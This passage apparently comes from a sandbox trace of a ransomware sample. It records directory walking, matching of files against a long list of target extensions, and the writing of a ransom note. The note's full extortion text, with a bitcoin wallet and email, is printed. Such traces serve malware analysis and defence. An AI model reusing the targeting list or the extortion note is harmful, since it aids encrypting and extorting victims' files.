PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.odg") returned 0 [0137.131] lstrlenA (lpString="*.odg") returned 5 [0137.131] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.raw") returned 0 [0137.131] lstrlenA (lpString="*.raw") returned 5 [0137.131] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.nef") returned 0 [0137.131] lstrlenA (lpString="*.nef") returned 5 [0137.131] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.svg") returned 0 [0137.131] lstrlenA (lpString="*.svg") returned 5 [0137.131] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.psd") returned 0 [0137.131] lstrlenA (lpString="*.psd") returned 5 [0137.131] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.vmx") returned 0 [0137.131] lstrlenA (lpString="*.vmx") returned 5 [0137.131] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.vmdk") returned 0 [0137.131] lstrlenA (lpString="*.vmdk") returned 6 [0137.132] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.vdi") returned 0 [0137.132] lstrlenA (lpString="*.vdi") returned 5 [0137.132] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.lay6") returned 0 [0137.132] lstrlenA (lpString="*.lay6") returned 6 [0137.132] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.mpeg") returned 0 [0137.132] lstrlenA (lpString="*.mpeg") returned 6 [0137.132] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.djvu") returned 0 [0137.132] lstrlenA (lpString="*.djvu") returned 6 [0137.132] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.tiff") returned 0 [0137.132] lstrlenA (lpString="*.tiff") returned 6 [0137.132] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.backup") returned 0 [0137.132] lstrlenA (lpString="*.backup") returned 8 [0137.132] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.pdf") returned 0 [0137.132] lstrlenA (lpString="*.pdf") returned 5 [0137.132] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.cert") returned 0 [0137.132] lstrlenA (lpString="*.cert") returned 6 [0137.132] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.docm") returned 0 [0137.132] lstrlenA (lpString="*.docm") returned 6 [0137.132] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.xlsm") returned 0 [0137.132] lstrlenA (lpString="*.xlsm") returned 6 [0137.132] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.dwg") returned 0 [0137.132] lstrlenA (lpString="*.dwg") returned 5 [0137.132] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.nd") returned 0 [0137.133] lstrlenA (lpString="*.nd") returned 4 [0137.133] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.tlg") returned 0 [0137.133] lstrlenA (lpString="*.tlg") returned 5 [0137.133] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.lgb") returned 0 [0137.133] lstrlenA (lpString="*.lgb") returned 5 [0137.133] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.mov") returned 0 [0137.133] lstrlenA (lpString="*.mov") returned 5 [0137.133] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.xdw") returned 0 [0137.133] lstrlenA (lpString="*.xdw") returned 5 [0137.133] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.ods") returned 0 [0137.133] lstrlenA (lpString="*.ods") returned 5 [0137.133] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.wav") returned 0 [0137.133] lstrlenA (lpString="*.wav") returned 5 [0137.133] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.mp3") returned 0 [0137.133] lstrlenA (lpString="*.mp3") returned 5 [0137.133] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.aiff") returned 0 [0137.133] lstrlenA (lpString="*.aiff") returned 6 [0137.133] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.flac") returned 0 [0137.133] lstrlenA (lpString="*.flac") returned 6 [0137.133] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.m4a") returned 0 [0137.133] lstrlenA (lpString="*.m4a") returned 5 [0137.133] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Data\\GroupedProviders.xml", pszSpec="*.csv") returned 0 [0137.134] lstrlenA (lpString="*.csv") returned 5 [0137.134] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="GroupedProviders.xml", cAlternateFileName="GROUPE~1.XML")) returned 0 [0137.134] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0137.134] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ed31f20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="App_GlobalResources", cAlternateFileName="APP_GL~1")) returned 1 [0137.134] lstrcmpA (lpString1=".", lpString2="App_GlobalResources") returned -1 [0137.134] lstrcmpA (lpString1="..", lpString2="App_GlobalResources") returned -1 [0137.134] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\*.*") returned="*.*" [0137.134] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\", lpString2="App_GlobalResources" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources" [0137.134] lstrlenA (lpString="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources") returned 86 [0137.134] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ed31f20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0137.136] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.136] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ed31f20, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.136] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.136] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.136] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9c5f80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x309, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AppConfigCommon.resx", cAlternateFileName="APPCON~1.RES")) returned 1 [0137.136] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.136] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AppConfigCommon.resx") returned 1 [0137.136] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AppConfigCommon.resx") returned 1 [0137.136] lstrcmpiA (lpString1="", lpString2="AppConfigCommon.resx") returned -1 [0137.136] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\*.*") returned="*.*" [0137.136] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\" [0137.136] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\") returned="" [0137.136] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\HOW TO DECRYPT FILES.txt" [0137.136] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_globalresources\\how to decrypt files.txt")) returned 0xffffffff [0137.136] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_globalresources\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0137.139] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0137.139] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0137.141] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.141] CloseHandle (hObject=0x94) returned 1 [0137.141] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\", lpString2="AppConfigCommon.resx" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx" [0137.141] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.ems") returned 0 [0137.141] lstrlenA (lpString="*.ems") returned 5 [0137.141] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.db") returned 0 [0137.141] lstrlenA (lpString="*.db") returned 4 [0137.141] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.dbf") returned 0 [0137.141] lstrlenA (lpString="*.dbf") returned 5 [0137.141] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.myox") returned 0 [0137.141] lstrlenA (lpString="*.myox") returned 6 [0137.141] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.myo") returned 0 [0137.141] lstrlenA (lpString="*.myo") returned 5 [0137.142] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.qbw") returned 0 [0137.142] lstrlenA (lpString="*.qbw") returned 5 [0137.142] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.qbb") returned 0 [0137.142] lstrlenA (lpString="*.qbb") returned 5 [0137.142] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.qbm") returned 0 [0137.142] lstrlenA (lpString="*.qbm") returned 5 [0137.142] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.qbo") returned 0 [0137.142] lstrlenA (lpString="*.qbo") returned 5 [0137.142] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.qbx") returned 0 [0137.142] lstrlenA (lpString="*.qbx") returned 5 [0137.142] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.qba") returned 0 [0137.142] lstrlenA (lpString="*.qba") returned 5 [0137.143] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.qby") returned 0 [0137.143] lstrlenA (lpString="*.qby") returned 5 [0137.143] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.qbj") returned 0 [0137.143] lstrlenA (lpString="*.qbj") returned 5 [0137.143] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.ofx") returned 0 [0137.143] lstrlenA (lpString="*.ofx") returned 5 [0137.143] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.qif") returned 0 [0137.143] lstrlenA (lpString="*.qif") returned 5 [0137.143] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.mye") returned 0 [0137.143] lstrlenA (lpString="*.mye") returned 5 [0137.143] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.mbox") returned 0 [0137.143] lstrlenA (lpString="*.mbox") returned 6 [0137.143] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.eml") returned 0 [0137.143] lstrlenA (lpString="*.eml") returned 5 [0137.143] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.pst") returned 0 [0137.143] lstrlenA (lpString="*.pst") returned 5 [0137.143] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.ost") returned 0 [0137.143] lstrlenA (lpString="*.ost") returned 5 [0137.143] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.idx") returned 0 [0137.144] lstrlenA (lpString="*.idx") returned 5 [0137.144] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.dbx") returned 0 [0137.144] lstrlenA (lpString="*.dbx") returned 5 [0137.144] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.sql") returned 0 [0137.144] lstrlenA (lpString="*.sql") returned 5 [0137.144] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.mdb") returned 0 [0137.144] lstrlenA (lpString="*.mdb") returned 5 [0137.144] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.fdb") returned 0 [0137.144] lstrlenA (lpString="*.fdb") returned 5 [0137.144] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.wab") returned 0 [0137.144] lstrlenA (lpString="*.wab") returned 5 [0137.144] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.dat") returned 0 [0137.144] lstrlenA (lpString="*.dat") returned 5 [0137.144] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.txt") returned 0 [0137.144] lstrlenA (lpString="*.txt") returned 5 [0137.144] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.jpeg") returned 0 [0137.144] lstrlenA (lpString="*.jpeg") returned 6 [0137.144] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.jpg") returned 0 [0137.144] lstrlenA (lpString="*.jpg") returned 5 [0137.144] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.png") returned 0 [0137.144] lstrlenA (lpString="*.png") returned 5 [0137.144] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.php") returned 0 [0137.144] lstrlenA (lpString="*.php") returned 5 [0137.144] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.cs") returned 0 [0137.144] lstrlenA (lpString="*.cs") returned 4 [0137.144] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.cpp") returned 0 [0137.145] lstrlenA (lpString="*.cpp") returned 5 [0137.145] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.rar") returned 0 [0137.145] lstrlenA (lpString="*.rar") returned 5 [0137.145] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.zip") returned 0 [0137.145] lstrlenA (lpString="*.zip") returned 5 [0137.145] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.html") returned 0 [0137.145] lstrlenA (lpString="*.html") returned 6 [0137.145] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.htm") returned 0 [0137.145] lstrlenA (lpString="*.htm") returned 5 [0137.145] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.xlsx") returned 0 [0137.145] lstrlenA (lpString="*.xlsx") returned 6 [0137.145] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.xls") returned 0 [0137.145] lstrlenA (lpString="*.xls") returned 5 [0137.145] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.mp4") returned 0 [0137.145] lstrlenA (lpString="*.mp4") returned 5 [0137.145] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.ppt") returned 0 [0137.145] lstrlenA (lpString="*.ppt") returned 5 [0137.145] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.pptx") returned 0 [0137.145] lstrlenA (lpString="*.pptx") returned 6 [0137.145] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.doc") returned 0 [0137.145] lstrlenA (lpString="*.doc") returned 5 [0137.145] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.dot") returned 0 [0137.145] lstrlenA (lpString="*.dot") returned 5 [0137.145] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.docx") returned 0 [0137.145] lstrlenA (lpString="*.docx") returned 6 [0137.145] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.7z") returned 0 [0137.146] lstrlenA (lpString="*.7z") returned 4 [0137.146] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_GlobalResources\\AppConfigCommon.resx", pszSpec="*.tar") returned 0 [0137.146] lstrlenA 